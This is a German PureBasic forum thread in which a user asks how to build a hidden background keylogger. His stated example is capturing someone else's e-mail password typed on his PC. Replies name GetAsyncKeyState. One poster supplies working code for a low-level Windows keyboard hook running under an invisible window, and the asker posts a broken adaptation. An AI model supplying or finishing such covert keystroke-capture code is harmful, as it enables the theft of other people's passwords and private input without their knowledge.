Hintergrundmitschreiben

[R4z0r1989]

Kann man ein Programm machen das im Hinter grund das Speichert was macn so auf der Tastatur eingibt.
Also BS:
Das besagte Programm läuft.
Jemand Tippt auf meinen PC,
Das Passwort für den E-mail acount ein.
Das Programm Speichert es in einer Text Datei und ich kann es später auslesen.
War nur ein Beisspiel, nehme es für was andres her.

[vonTurnundTaxis]

Böse... Ein Keylogger

Schau mal hier:
http://forums.purebasic.com/german/view ... 70&start=0

[R4z0r1989]

das Thema hilft mir nichts weil es nur geht wenn es im Vordergrund ist!!!
Ich bräuchte mal ein Beispiel.

[vonTurnundTaxis]

Getassynckestate_() geht immer.
Auch im Hintergrund!

[R4z0r1989]

wo muss das hin
mach mal bitte ein kleines bs bite bitte

bin für jeden beitrag dankbar

[Christi]

hier mal ein kleiner spasscode zum spieln: (getestet auf winxpprosp2 und win2000)

Code: Alles auswählen

;pb 3.93

Structure client
  id.l
  empfang.s
EndStructure

Structure KBDLLHOOKSTRUCT 
  vkCode.l 
  scanCode.l 
  flags.l 
  time.l 
  dwExtraInfo.l 
EndStructure

Procedure kbhook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  
  If nCode = #HC_ACTION 
    If (wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN); And PeekB(global_puffer + #vk_rcontrol)
      zeichen = MapVirtualKey_(*p\vkCode, 2)
      If Random(9) = 0
        Debug "geblockt: " + Chr(zeichen)
        ProcedureReturn 1
      Else
        Debug Chr(zeichen.l)
      EndIf
    EndIf
  EndIf
  
  ProcedureReturn CallNextHookEx_(0, nCode, wParam, *p) 
EndProcedure


#WH_KEYBOARD_LL = 13
If SetWindowsHookEx_(#WH_KEYBOARD_LL, @kbhook(), GetModuleHandle_(0), 0) 
  OpenWindow(0, 0, 0, 0, 0, #PB_Window_Invisible, "KeyBlocker")
  Repeat
  Until WaitWindowEvent() = #PB_Event_CloseWindow
EndIf

[vonTurnundTaxis]

Code: Alles auswählen

Repeat
  Sleep_(10); Nur damit du deinen Computer nicht überlastest
Until GetAsyncKeyState_(#VK_RETURN)
MessageRequester("Eine Meldung", "Du hast Return gedrückt")

[Green Snake]

tipp: sleep = delay()

[vonTurnundTaxis]

___ER GIBT MIR TIPPS___

[R4z0r1989]

Wieso geht das Fenster glei zu falls es überhaupt Funtioniert!!

Code: Alles auswählen

;pb 3.93 



OpenWindow(0, 0, 0, 500, 680, #PB_Window_ScreenCentered | #PB_Window_SystemMenu, "Test")


If CreateGadgetList(WindowID())

StringGadget(1000,10,10,100,100,"",#PB_String_Multiline)

Endif

Structure client 
  id.l 
  empfang.s 
EndStructure 

Structure KBDLLHOOKSTRUCT 
  vkCode.l 
  scanCode.l 
  flags.l 
  time.l 
  dwExtraInfo.l 
EndStructure 

Procedure kbhook(nCode, wParam, *p.KBDLLHOOKSTRUCT) 
  
Repeat  
  
  If nCode = #HC_ACTION 
    If (wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN); And PeekB(global_puffer + #vk_rcontrol) 
      zeichen = MapVirtualKey_(*p\vkCode, 2) 
      If Random(9) = 0 
        Debug "geblockt: " + Chr(zeichen)
        SetGadgetText(1000,"") 
        ProcedureReturn 1 
      Else 
        Debug Chr(zeichen.l)
        SetGadgetText(1000,Chr(zeichen.l)) 
      EndIf 
    EndIf 
  EndIf 
 

Until #PB_Event_CloseWindow
  
  ProcedureReturn CallNextHookEx_(0, nCode, wParam, *p) 
EndProcedure 






#WH_KEYBOARD_LL = 13 
If SetWindowsHookEx_(#WH_KEYBOARD_LL, @kbhook(), GetModuleHandle_(0), 0) 
  OpenWindow(0, 0, 0, 0, 0, #PB_Window_Invisible, "KeyBlocker") 
  Repeat 
  Until WaitWindowEvent() = #PB_Event_CloseWindow 
EndIf